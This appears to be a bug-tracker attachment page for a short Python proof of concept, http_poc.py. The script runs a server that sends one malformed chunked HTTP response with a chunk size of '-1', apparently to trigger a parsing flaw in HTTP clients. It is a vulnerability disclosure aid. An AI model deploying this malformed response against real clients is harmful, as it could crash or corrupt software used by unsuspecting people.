Ticket #5992: http_poc.py

File http_poc.py, 575 bytes (added by Paul Ch, 10 years ago)

PoC

Line 
1#!/usr/bin/python
2
3import socket
4
5
6bind_ip = '0.0.0.0'
7bind_port = 12345
8
9
10headers = """HTTP/1.1 200 OK
11Content-Type: text/html
12Transfer-Encoding: chunked
13
14-1
15abcdef
16"""
17
18
19
20def handle_request(client_socket):
21 request = client_socket.recv(2048)
22 client_socket.send(headers)
23 client_socket.close()
24
25
26if __name__ == '__main__':
27 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
28 s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
29
30 s.bind((bind_ip, bind_port))
31 s.listen(5)
32
33 client_socket, addr = s.accept()
34 handle_request(client_socket)
35